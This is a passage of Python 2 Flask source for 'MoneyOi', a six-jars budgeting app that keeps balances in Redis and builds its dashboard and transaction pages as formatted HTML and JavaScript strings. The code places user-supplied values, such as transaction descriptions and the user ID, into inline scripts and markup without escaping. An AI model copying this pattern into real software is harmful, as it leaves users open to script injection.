'edu_income':edu_income, 'lts_income':lts_income, 'ply_income':ply_income, 'ffa_income':ffa_income, 'giv_income':giv_income, 'nec_expense':nec_expense, 'edu_expense':edu_expense, 'lts_expense':lts_expense, 'ply_expense':ply_expense, 'ffa_expense':ffa_expense, 'giv_expense':giv_expense, 'nec_prebal':nec_prebal, 'edu_prebal':edu_prebal, 'lts_prebal':lts_prebal, 'ply_prebal':ply_prebal, 'ffa_prebal':ffa_prebal, 'giv_prebal':giv_prebal, 'pre_balance':pre_balance, 'pre_date':current_date, 'language':language, 'user_email':user_email, 'user_login':user_login }) else: print "HomePage:Account exist" user_dict = r.hmget(user_id, 'income_amt', 'expense_amt', 'currency', 'nec_income', 'edu_income', 'lts_income', 'ply_income', 'ffa_income', 'giv_income', 'nec_expense', 'edu_expense', 'lts_expense', 'ply_expense', 'ffa_expense', 'giv_expense', 'nec_prebal', 'edu_prebal', 'lts_prebal', 'ply_prebal', 'ffa_prebal', 'giv_prebal', 'pre_balance', 'pre_date', 'language', 'user_email', 'user_login') language = user_dict[23] currency = user_dict[2] user_email = user_dict[24] user_login = user_dict[25] income_amt = int(float(user_dict[0])) expense_amt = int(float(user_dict[1])) nec_income = int(float(user_dict[3])) edu_income = int(float(user_dict[4])) lts_income = int(float(user_dict[5])) ply_income = int(float(user_dict[6])) ffa_income = int(float(user_dict[7])) giv_income = int(float(user_dict[8])) nec_expense = int(float(user_dict[9])) edu_expense = int(float(user_dict[10])) lts_expense = int(float(user_dict[11])) ply_expense = int(float(user_dict[12])) ffa_expense = int(float(user_dict[13])) giv_expense = int(float(user_dict[14])) nec_prebal = int(float(user_dict[15])) edu_prebal = int(float(user_dict[16])) lts_prebal = int(float(user_dict[17])) ply_prebal = int(float(user_dict[18])) ffa_prebal = int(float(user_dict[19])) giv_prebal = int(float(user_dict[20])) pre_balance = int(float(user_dict[21])) balance_amt = income_amt - expense_amt + pre_balance nec_balance = nec_income - nec_expense + nec_prebal edu_balance = edu_income - edu_expense + edu_prebal lts_balance = lts_income - lts_expense + lts_prebal ply_balance = ply_income - ply_expense + ply_prebal ffa_balance = ffa_income - ffa_expense + ffa_prebal giv_balance = giv_income - giv_expense + giv_prebal pre_date = user_dict[22] # if next month ? if (current_date != pre_date): print "HomePage:New month" #reset income/expense value, carry forward balance to next month income_amt = 0 expense_amt = 0 nec_income = 0 edu_income = 0 lts_income = 0 ply_income = 0 ffa_income = 0 giv_income = 0 nec_expense = 0 edu_expense = 0 lts_expense = 0 ply_expense = 0 ffa_expense = 0 giv_expense = 0 pre_balance = balance_amt nec_prebal = nec_balance edu_prebal = edu_balance lts_prebal = lts_balance ply_prebal = ply_balance ffa_prebal = ffa_balance giv_prebal = giv_balance #save to database r.hmset(user_id,{ 'income_amt':income_amt, 'expense_amt':expense_amt, 'nec_income':nec_income, 'edu_income':edu_income, 'lts_income':lts_income, 'ply_income':ply_income, 'ffa_income':ffa_income, 'giv_income':giv_income, 'nec_expense':nec_expense, 'edu_expense':edu_expense, 'lts_expense':lts_expense, 'ply_expense':ply_expense, 'ffa_expense':ffa_expense, 'giv_expense':giv_expense, 'nec_prebal':nec_prebal, 'edu_prebal':edu_prebal, 'lts_prebal':lts_prebal, 'ply_prebal':ply_prebal, 'ffa_prebal':ffa_prebal, 'giv_prebal':giv_prebal, 'pre_balance':pre_balance, 'pre_date':current_date }) # look for repeat transaction for key in r.hscan_iter(user_id, match='*repeat'): transactionID = key[0].replace('-repeat','') transactionValue = key[1] bRepeat = False key0 = key[0].split('-') key1 = key[1].split('-') repeat = key1[2] transaction_date = transactionDate = datetime.date(int(key0[0]), int(key0[1]), int(key0[2])) if (repeat == DAILY): while (transactionDate <= currentDate): bRepeat = True transaction_id = transactionID.replace(str(transaction_date),str(transactionDate)) transactionDate = transactionDate + datedelta.datedelta(days=1) SaveTransactionPage(user_id, 'repeat', transaction_id, transactionValue) if (repeat == WEEKLY): while (transactionDate <= currentDate): bRepeat = True transaction_id = transactionID.replace(str(transaction_date),str(transactionDate)) transactionDate = transactionDate + datedelta.datedelta(days=7) SaveTransactionPage(user_id, 'repeat', transaction_id, transactionValue) if (repeat == MONTHLY): while (transactionDate <= currentDate): bRepeat = True transaction_id = transactionID.replace(str(transaction_date),str(transactionDate)) transactionDate = transactionDate + datedelta.datedelta(months=1) SaveTransactionPage(user_id, 'repeat', transaction_id, transactionValue) if (repeat == ANNUALLY): while (transactionDate <= currentDate): bRepeat = True transaction_id = transactionID.replace(str(transaction_date),str(transactionDate)) transactionDate = transactionDate + datedelta.datedelta(years=1) SaveTransactionPage(user_id, 'repeat', transaction_id, transactionValue) if (bRepeat): transactionID = transactionID + '-repeat' r.hdel(user_id,transactionID) transaction_id = transactionID.replace(str(transaction_date),str(transactionDate)) r.hset(user_id, transaction_id, transactionValue) # calculate percentage for HomePage if (balance_amt > 0): percentage = int(float(balance_amt)/(balance_amt+expense_amt)*100) if (nec_balance > 0): nec_progress = int(float(nec_balance)/(nec_balance+nec_expense)*100) if (nec_progress >= 50): nec_progress_color = "TURQUOISE" elif (nec_progress >= 20): nec_progress_color = "GOLD" else: nec_progress_color = "TOMATO" if (edu_balance > 0): edu_progress = int(float(edu_balance)/(edu_balance+edu_expense)*100) if (edu_progress >= 50): edu_progress_color = "TURQUOISE" elif (edu_progress >= 20): edu_progress_color = "GOLD" else: edu_progress_color = "TOMATO" if (lts_balance > 0): lts_progress = int(float(lts_balance)/(lts_balance+lts_expense)*100) if (lts_progress >= 50): lts_progress_color = "TURQUOISE" elif (lts_progress >= 20): lts_progress_color = "GOLD" else: lts_progress_color = "TOMATO" if (ply_balance > 0): ply_progress = int(float(ply_balance)/(ply_balance+ply_expense)*100) if (ply_progress >= 50): ply_progress_color = "TURQUOISE" elif (ply_progress >= 20): ply_progress_color = "GOLD" else: ply_progress_color = "TOMATO" if (ffa_balance > 0): ffa_progress = int(float(ffa_balance)/(ffa_balance+ffa_expense)*100) if (ffa_progress >= 50): ffa_progress_color = "TURQUOISE" elif (ffa_progress >= 20): ffa_progress_color = "GOLD" else: ffa_progress_color = "TOMATO" if (giv_balance > 0): giv_progress = int(float(giv_balance)/(giv_balance+giv_expense)*100) if (giv_progress >= 50): giv_progress_color = "TURQUOISE" elif (giv_progress >= 20): giv_progress_color = "GOLD" else: giv_progress_color = "TOMATO" #load language json file with open('static/language.json') as f: language_data = json.load(f) #load currency json file with open('static/currency.json') as f: currency_data = json.load(f) title_caption=language_data[language]['dashboard_page']['title_caption'].encode('utf-8') nec_caption=language_data[language]['dashboard_page']['nec_caption'].encode('utf-8') edu_caption=language_data[language]['dashboard_page']['edu_caption'].encode('utf-8') lts_caption=language_data[language]['dashboard_page']['lts_caption'].encode('utf-8') ply_caption=language_data[language]['dashboard_page']['ply_caption'].encode('utf-8') ffa_caption=language_data[language]['dashboard_page']['ffa_caption'].encode('utf-8') giv_caption=language_data[language]['dashboard_page']['giv_caption'].encode('utf-8') balance_caption=language_data[language]['dashboard_page']['balance_caption'].encode('utf-8') income_caption=language_data[language]['dashboard_page']['income_caption'].encode('utf-8') expense_caption=language_data[language]['dashboard_page']['expense_caption'].encode('utf-8') for i in range(0,len(currency_data['currency'])): currency_code = currency_data['currency'][i]['currency_code'] if (currency == currency_code): currency_sign = currency_data['currency'][i]['currency_sign'] break begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <meta name="format-detection" content="telephone=no"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.3/Chart.min.js"></script> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" addZero = """ function addZero(i) { if (i < 10) { i = "0" + i; } return i; } """ if (user_login == 'google'): signOut_function = """ function signOut() { document.location.href = "https://www.google.com/accounts/Logout?continue=https://appengine.google.com/_ah/logout?continue=https://moneyoi.herokuapp.com"; }; """ elif (user_login == 'facebook'): signOut_function = """ function signOut() { FB.logout(function(response) { // Logout and redirect to the home page document.location.href = "https://moneyoi.herokuapp.com"; }); }; """ facebook_init = """ window.fbAsyncInit = function() { FB.init({ appId : '392841268177993', cookie : true, xfbml : true, version : 'v3.2' }); }; """ jarFunction = """ function jarFunction(user_id, historyType) { hisFunction(user_id, historyType) }; """ pieFunction = """ function pieFunction(user_id, reportType) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var d = new Date(); year = d.getFullYear(); month = addZero(d.getMonth()+1); reportDate = year+'-'+month url = '/ReportPage/' + user_id + '/' + reportType + '/' + reportDate; var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); }; """ hisFunction = """ function hisFunction(user_id, historyType) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var d = new Date(); year = d.getFullYear(); month = addZero(d.getMonth()+1); historyDate = year+'-'+month url = '/HistoryPage/' + user_id + '/' + historyType + '/' + historyDate; var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); }; """ cogFunction = """ function cogFunction(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); }; """ addTransaction = """ function addTransaction(user_id, transactionType, jarOption, date) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/TransactionPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("transactionType="+transactionType+"&jarOption="+jarOption+"&date="+date); } """ doughnut_chart = """ var expense_amt = document.getElementById("expense").value; var balance_amt = document.getElementById("balance").value; var percentage = parseInt(document.getElementById('percentage').textContent); window.chartColors = { lightgray: 'rgb(211, 211, 211)', darkslategray: 'rgb(47, 79, 79)', tomato: 'rgb(255, 99, 71)', gold: 'rgb(255, 215, 0)', turquoise: 'rgb(64, 224, 208)' }; var color = window.chartColors.turquoise; if (percentage >= 50) { color = window.chartColors.turquoise; } else { if (percentage >= 20) { color = window.chartColors.gold; } else { color = window.chartColors.tomato; } } // 100% percentage if (balance_amt == 0) { expense_amt = 1; balance_amt = 0; } var config = { type: 'doughnut', data: { datasets: [{ label:['Expense','Balance'], data: [expense_amt, balance_amt], backgroundColor: [window.chartColors.lightgray, color], borderColor:[window.chartColors.darkslategray, window.chartColors.darkslategray], }], }, options: { cutoutPercentage: 70, tooltips: { callbacks: { label: function (tooltipItem, data) { return data.datasets[tooltipItem.datasetIndex].label[tooltipItem.index]; } } }, } }; var ctx = document.getElementById('myChart') new Chart(ctx, config); """ percentage_width = """ var element = document.getElementById('percentage'); var percentage = element.textContent; var per = parseInt(percentage); if (per == 100) { element.setAttribute("style", "position: absolute; display: block; text-align:center; padding-left:25px; padding-top:35px; font-weight:300;"); } else { if (per < 10) { element.setAttribute("style", "position: absolute; display: block; text-align:center; padding-left:32px; padding-top:35px; font-weight:300;"); } else { element.setAttribute("style", "position: absolute; display: block; text-align:center; padding-left:28px; padding-top:35px; font-weight:300;"); } }; """ six_jars_style = """ html { height: 100%; } body { position: relative; padding-bottom: 4em; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .sixjars-label-class { border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; cursor: pointer; padding: 6px 0px; width: 100%; height: 35px; font-weight:400; } .sixjars-label-class:active { color: DARKSLATEGRAY; border: 1px solid LIGHTGRAY; } .balance-label-class { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 6px 0px; width: 100%; height: 100px; } .income-expense-label { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 6px 0px; width: 100%; height: 70px; } .menu-label { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 10px 0px; width: 100%; height: 50px; text-align: center; } .bottom-label { display: block; margin-left: auto; margin-right: auto; height: 45px; text-align: center; bottom: 0; position: absolute; width: 100%; font-weight:300; } .minus-button-label { color: TURQUOISE; cursor: pointer; display: block; text-align: center; } .minus-button-label:active { color: LIGHTGRAY; } .menu-button-label { display: block; color: LIGHTGRAY; cursor: pointer; } .menu-button-label:active { color: TURQUOISE; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; padding-top: 50%; position:absolute; background: rgba(0, 0, 0, 0.3) } .progress-class { background-color:LIGHTGRAY; height:2px; width:100px; } """ mid_html = """ <style> /*------ six jars style ---------*/ {six_jars_style} </style> <div class="container"> <div class="col-sx-12" style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="sixjars-class"> <input id="nec-submit" type="button" onclick="jarFunction('{user_id}','Necessities')"> <input id="edu-submit" type="button" onclick="jarFunction('{user_id}','Education')"> <input id="lts-submit" type="button" onclick="jarFunction('{user_id}','Saving')"> <input id="ply-submit" type="button" onclick="jarFunction('{user_id}','Play')"> <input id="ffa-submit" type="button" onclick="jarFunction('{user_id}','Investment')"> <input id="giv-submit" type="button" onclick="jarFunction('{user_id}','Give')"> <label for="nec-submit" class="sixjars-label-class"> <div class="col-xs-6" style="padding-left:7px"> <p class="text-left" style="font-weight:300;"><img src="/static/nec.png" style="width:24px;height:24px;">&nbsp {nec_caption}</p> </div> <div class="col-xs-6"> <p class="text-right" style="color:white;">{nec_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> <div class="progress-class" style="position:absolute; top: 20px; right:15px;"> <div id="nec-progress" style="background-color:{nec_progress_color}; height:100%; width:{nec_progress}%"></div> </div> </div> </label> <label for="edu-submit" class="sixjars-label-class"> <div class="col-xs-6" style="padding-left:7px"> <p class="text-left" style="font-weight:300;"><img src="/static/edu.png" style="width:24px;height:24px;">&nbsp {edu_caption}</p> </div> <div class="col-xs-6"> <p class="text-right" style="color:white;">{edu_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> <div class="progress-class" style="position:absolute; top: 20px; right:15px;"> <div id="edu-progress" style="background-color:{edu_progress_color}; height:100%; width:{edu_progress}%"></div> </div> </div> </label> <label for="lts-submit" class="sixjars-label-class"> <div class="col-xs-6" style="padding-left:7px"> <p class="text-left" style="font-weight:300;"><img src="/static/lts.png" style="width:24px;height:24px;">&nbsp {lts_caption}</p> </div> <div class="col-xs-6"> <p class="text-right" style="color:white;">{lts_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> <div class="progress-class" style="position:absolute; top: 20px; right:15px;"> <div id="lts-progress" style="background-color:{lts_progress_color}; height:100%; width:{lts_progress}%"></div> </div> </div> </label> <label for="ply-submit" class="sixjars-label-class"> <div class="col-xs-6" style="padding-left:7px"> <p class="text-left" style="font-weight:300;"><img src="/static/ply.png" style="width:24px;height:24px;">&nbsp {ply_caption}</p> </div> <div class="col-xs-6"> <p class="text-right" style="color:white;">{ply_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> <div class="progress-class" style="position:absolute; top: 20px; right:15px;"> <div id="ply-progress" style="background-color:{ply_progress_color}; height:100%; width:{ply_progress}%"></div> </div> </div> </label> <label for="ffa-submit" class="sixjars-label-class"> <div class="col-xs-6" style="padding-left:7px"> <p class="text-left" style="font-weight:300;"><img src="/static/ffa.png" style="width:24px;height:24px;">&nbsp {ffa_caption}</p> </div> <div class="col-xs-6"> <p class="text-right" style="color:white;">{ffa_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> <div class="progress-class" style="position:absolute; top: 20px; right:15px;"> <div id="ffa-progress" style="background-color:{ffa_progress_color}; height:100%; width:{ffa_progress}%"></div> </div> </div> </label> <label for="giv-submit" class="sixjars-label-class"> <div class="col-xs-6" style="padding-left:7px"> <p class="text-left" style="font-weight:300;"><img src="/static/giv.png" style="width:24px;height:24px;">&nbsp {giv_caption}</p> </div> <div class="col-xs-6"> <p class="text-right" style="color:white;">{giv_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> <div class="progress-class" style="position:absolute; top: 20px; right:15px;"> <div id="giv-progress" style="background-color:{giv_progress_color}; height:100%; width:{giv_progress}%"></div> </div> </div> </label> </div> <div class="balance-class"> <label class="balance-label-class"> <div class="col-xs-3" style="display:block; text-align:center; padding-left:10px"> <div class="text-center" style="display: block; margin: 0 auto; width: 80px; height: 80px"> <p id="percentage" class="text-center">{percentage}%</p> <canvas id="myChart" style="width:100%; height:100%"></canvas> </div> </div> <div class="col-xs-9" style="padding-top:10px;"> <p class="text-left" style="font-weight:300;">{balance_caption} ({currency_sign})</p> <p class="text-left" style="font-weight:300; font-size:xx-large; color:white;">{balance_amt}</p> <li id="balance" value="{balance_amt2}" style="display:none"></li> </div> </label> </div> <div class="income-expense"> <label class="income-expense-label"> <div class="col-xs-5" style="padding: 0;"> <input id="income-submit" type="button" onclick=addTransaction('{user_id}','new-income','jarOption','date')> <label for="income-submit" class="income-button-label" style="cursor:pointer; width:100%; padding-left:18px;"> <p class="text-left" style="font-weight:300;">{income_caption} &nbsp <i class="fa fa-plus" style="color:LIME"></i></p> <p class="text-left" style="color:white; font-weight:400;">{income_amt} {currency_sign}</p> <li id="income" value="{income_amt2}" style="display:none"></li> </label> </div> <div class="col-xs-2" style="padding: 0"> <input id="minus-submit" type="button" onclick="addTransaction('{user_id}','new-expense','jarOption','date')"> <label for="minus-submit" class="minus-button-label"> <p ><i class="fa fa-minus-circle fa-4x"></i></p> </label> </div> <div class="col-xs-5" style="padding: 0"> <input id="expense-submit" type="button" onclick="addTransaction('{user_id}','new-expense','jarOption','date')"> <label for="expense-submit" class="expense-button-label" style="cursor:pointer; width:100%; padding-right:18px;"> <p class="text-right" style="font-weight:300;"> <i class="fa fa-minus" style="color:TOMATO"></i>&nbsp {expense_caption}</p> <p class="text-right" style="color:white; font-weight:400;">{expense_amt} {currency_sign}</p> <li id="expense" value="{expense_amt2}" style="display:none"></li> </label> </div> </label> </div> <div class="menu-class"> <label class="menu-label"> <div class="col-xs-3"> <input id="home-submit" type="button"> <label for="home-submit" class="menu-button-label"> <i class="fa fa-home fa-2x" style="color:TURQUOISE"></i> </label> </div> <div class="col-xs-3"> <input id="history-submit" type="button" onclick="hisFunction('{user_id}','All')"> <label for="history-submit" class="menu-button-label"> <i class="fa fa-history fa-2x"></i> </label> </div> <div class="col-xs-3"> <input id="pie-submit" type="button" onclick="pieFunction('{user_id}','All')"> <label for="pie-submit" class="menu-button-label"> <i class="fa fa-pie-chart fa-2x"></i> </label> </div> <div class="col-xs-3"> <input id="cog-submit" type="button" onclick="cogFunction('{user_id}')"> <label for="cog-submit" class="menu-button-label"> <i class="fa fa-cog fa-2x"></i> </label> </div> </label> </div> <script> {facebook_init} {addZero} {doughnut_chart} {signOut_function} {addTransaction} {jarFunction} {percentage_width} {pieFunction} {hisFunction} {cogFunction} </script> <div id="fb-root"></div> <script async defer src="https://connect.facebook.net/en_US/sdk.js#xfbml=1&version=v3.2&appId=392841268177993&autoLogAppEvents=1"></script> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <div class="bottom-class"> <label class="bottom-label"> <p style="color: white;"> Signed in as {user_email} <br> <a href="javascript:void(0)" onclick="signOut();" style="color:TURQUOISE">Sign out</a> </p> </label> </div> """.format(user_id=user_id, signOut_function=signOut_function, nec_balance="{:,}".format(nec_balance), edu_balance="{:,}".format(edu_balance), lts_balance="{:,}".format(lts_balance), ply_balance="{:,}".format(ply_balance), ffa_balance="{:,}".format(ffa_balance), giv_balance="{:,}".format(giv_balance), six_jars_style=six_jars_style, balance_amt="{:,}".format(balance_amt), addZero=addZero, doughnut_chart=doughnut_chart, percentage=percentage, percentage_width=percentage_width, income_amt="{:,}".format(income_amt), expense_amt="{:,}".format(expense_amt), income_amt2=income_amt, expense_amt2=expense_amt, balance_amt2=balance_amt, addTransaction=addTransaction, jarFunction=jarFunction, pieFunction=pieFunction, hisFunction=hisFunction, cogFunction=cogFunction, nec_progress=nec_progress, edu_progress=edu_progress, lts_progress=lts_progress, ply_progress=ply_progress, ffa_progress=ffa_progress, giv_progress=giv_progress, nec_progress_color=nec_progress_color, edu_progress_color=edu_progress_color, lts_progress_color=lts_progress_color, ply_progress_color=ply_progress_color, ffa_progress_color=ffa_progress_color, giv_progress_color=giv_progress_color, currency_sign=currency_sign, title_caption=title_caption, nec_caption=nec_caption, edu_caption=edu_caption, lts_caption=lts_caption, ply_caption=ply_caption, ffa_caption=ffa_caption, giv_caption=giv_caption, balance_caption=balance_caption, income_caption=income_caption, expense_caption=expense_caption, user_email=user_email, facebook_init=facebook_init) return begin_html + mid_html + end_html @app.route('/TransactionPage/<user_id>', methods=['POST']) def TransactionPage(user_id): transactionType = request.form['transactionType'] print "TransactionPage:user_id:"+user_id print "TransactionPage:transactionType:"+transactionType initValue = """ var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); document.getElementById('theDate').value = today; document.getElementById('amount-input').focus(); """ jarOption = "" date = "" user_dict = r.hmget(user_id, 'currency', 'nec_income', 'edu_income', 'lts_income', 'ply_income', 'ffa_income', 'giv_income', 'nec_expense', 'edu_expense', 'lts_expense', 'ply_expense', 'ffa_expense', 'giv_expense', 'nec_prebal', 'edu_prebal', 'lts_prebal', 'ply_prebal', 'ffa_prebal', 'giv_prebal', 'language') currency = user_dict[0] language = user_dict[19] #load language json file with open('static/language.json') as f: language_data = json.load(f) #load currency json file with open('static/currency.json') as f: currency_data = json.load(f) title_caption=language_data[language]['transaction_page']['title_caption'] all_caption=language_data[language]['transaction_page']['all_caption'] nec_caption=language_data[language]['transaction_page']['nec_caption'] edu_caption=language_data[language]['transaction_page']['edu_caption'] lts_caption=language_data[language]['transaction_page']['lts_caption'] ply_caption=language_data[language]['transaction_page']['ply_caption'] ffa_caption=language_data[language]['transaction_page']['ffa_caption'] giv_caption=language_data[language]['transaction_page']['giv_caption'] income_caption=language_data[language]['transaction_page']['income_caption'] expense_caption=language_data[language]['transaction_page']['expense_caption'] amount_title_caption=language_data[language]['transaction_page']['amount_title_caption'] amount_caption=language_data[language]['transaction_page']['amount_caption'] once_caption=language_data[language]['transaction_page']['once_caption'] daily_caption=language_data[language]['transaction_page']['daily_caption'] weekly_caption=language_data[language]['transaction_page']['weekly_caption'] monthly_caption=language_data[language]['transaction_page']['monthly_caption'] annually_caption=language_data[language]['transaction_page']['annually_caption'] description_caption=language_data[language]['transaction_page']['description_caption'] msg_successful_caption=language_data[language]['transaction_page']['msg_successful_caption'] msg_amount_caption=language_data[language]['transaction_page']['msg_amount_caption'] msg_over_caption=language_data[language]['transaction_page']['msg_over_caption'] save_caption=language_data[language]['transaction_page']['save_caption'] back_caption=language_data[language]['transaction_page']['back_caption'] for i in range(0,len(currency_data['currency'])): currency_code = currency_data['currency'][i]['currency_code'] if (currency == currency_code): currency_sign = currency_data['currency'][i]['currency_sign'] break nec_income = int(float(user_dict[1])) edu_income = int(float(user_dict[2])) lts_income = int(float(user_dict[3])) ply_income = int(float(user_dict[4])) ffa_income = int(float(user_dict[5])) giv_income = int(float(user_dict[6])) nec_expense = int(float(user_dict[7])) edu_expense = int(float(user_dict[8])) lts_expense = int(float(user_dict[9])) ply_expense = int(float(user_dict[10])) ffa_expense = int(float(user_dict[11])) giv_expense = int(float(user_dict[12])) nec_prebal = int(float(user_dict[13])) edu_prebal = int(float(user_dict[14])) lts_prebal = int(float(user_dict[15])) ply_prebal = int(float(user_dict[16])) ffa_prebal = int(float(user_dict[17])) giv_prebal = int(float(user_dict[18])) nec_balance = nec_income - nec_expense + nec_prebal edu_balance = edu_income - edu_expense + edu_prebal lts_balance = lts_income - lts_expense + lts_prebal ply_balance = ply_income - ply_expense + ply_prebal ffa_balance = ffa_income - ffa_expense + ffa_prebal giv_balance = giv_income - giv_expense + giv_prebal transactionID = "" transactionValue = "" #default TransactionPage is "new-income" transactionType if (transactionType == "new-expense"): initValue = """ var sign_symbol = document.getElementById('sign-symbol'); sign_symbol.setAttribute("class", "fa fa-minus"); sign_symbol.style.color = "TOMATO"; document.getElementById('expense-option').selected = "selected"; document.getElementById('amount-input').focus(); document.getElementById('nec-option').selected = "selected"; var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); document.getElementById('theDate').value = today; document.getElementById('all-option').disabled = "disabled"; """ else: if ((transactionType == "update") or (transactionType == "recurring-update")): transactionID = request.form['transactionID'] transactionValue = request.form['transactionValue'].replace("#","&") jarOption = request.form['jarOption'] date = request.form['date'] print "TransactionPage:transactionID:"+transactionID print "TransactionPage:transactionValue:"+transactionValue.encode('utf-8') print "TransactionPage:jarOption:"+jarOption print "TransactionPage:date:"+date key = transactionID.split('-') value = transactionValue.split('-') year = key[0] month = key[1] day = key[2] theDate = year+'-'+month+'-'+day ttype = value[0] jar = value[1] repeat = value[2] description = value[3] amount = "{:,}".format(int(float(value[4]))) if (ttype=="Income"): sign_symbol = "fa fa-plus" color = "LIME" ttype_option="income-option" all_option = "" else: sign_symbol = "fa fa-minus" color = "TOMATO" ttype_option="expense-option" all_option = """ document.getElementById('all-option').disabled = 'disabled' """ jar_option = JAR_OPTION[jar] repeat_type = REPEAT_TYPE[repeat] initValue = all_option + u""" var sign_symbol = document.getElementById('sign-symbol'); sign_symbol.setAttribute("class", "{sign_symbol}"); sign_symbol.style.color = "{color}"; document.getElementById('{ttype_option}').selected = "selected"; var amount_input = document.getElementById('amount-input'); amount_input.value = '{amount}'; amount_input.focus(); document.getElementById('{jar_option}').selected = "selected"; document.getElementById('theDate').value = '{theDate}'; document.getElementById('{repeat_type}').selected = "selected"; document.getElementById('desc-input').value = '{description}'; """.format(sign_symbol=sign_symbol, color=color, ttype_option=ttype_option, amount=amount, jar_option=jar_option, theDate=theDate, repeat_type=repeat_type, description=description) # report/history-new-income & report/history-new-expense transactionType elif (transactionType != 'new-income'): jarOption = request.form['jarOption'] date = request.form['date'] print "TransactionPage:jarOption:"+jarOption print "TransactionPage:date:"+date jar_option = JAR_OPTION[jarOption] if ((transactionType=="history-new-income") or (transactionType=="report-new-income")): sign_symbol = "fa fa-plus" color = "LIME" ttype_option="income-option" all_option = "" else: sign_symbol = "fa fa-minus" color = "TOMATO" ttype_option="expense-option" all_option = """ document.getElementById('all-option').disabled = 'disabled' """ if ((transactionType == 'report-new-expense') and (jarOption == ALL)): jar_option = JAR_OPTION[NEC] initValue = all_option + """ var sign_symbol = document.getElementById('sign-symbol'); sign_symbol.setAttribute("class", "{sign_symbol}"); sign_symbol.style.color = "{color}"; document.getElementById('{ttype_option}').selected = "selected"; document.getElementById('amount-input').focus(); document.getElementById('{jar_option}').selected = "selected"; var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); document.getElementById('theDate').value = today; 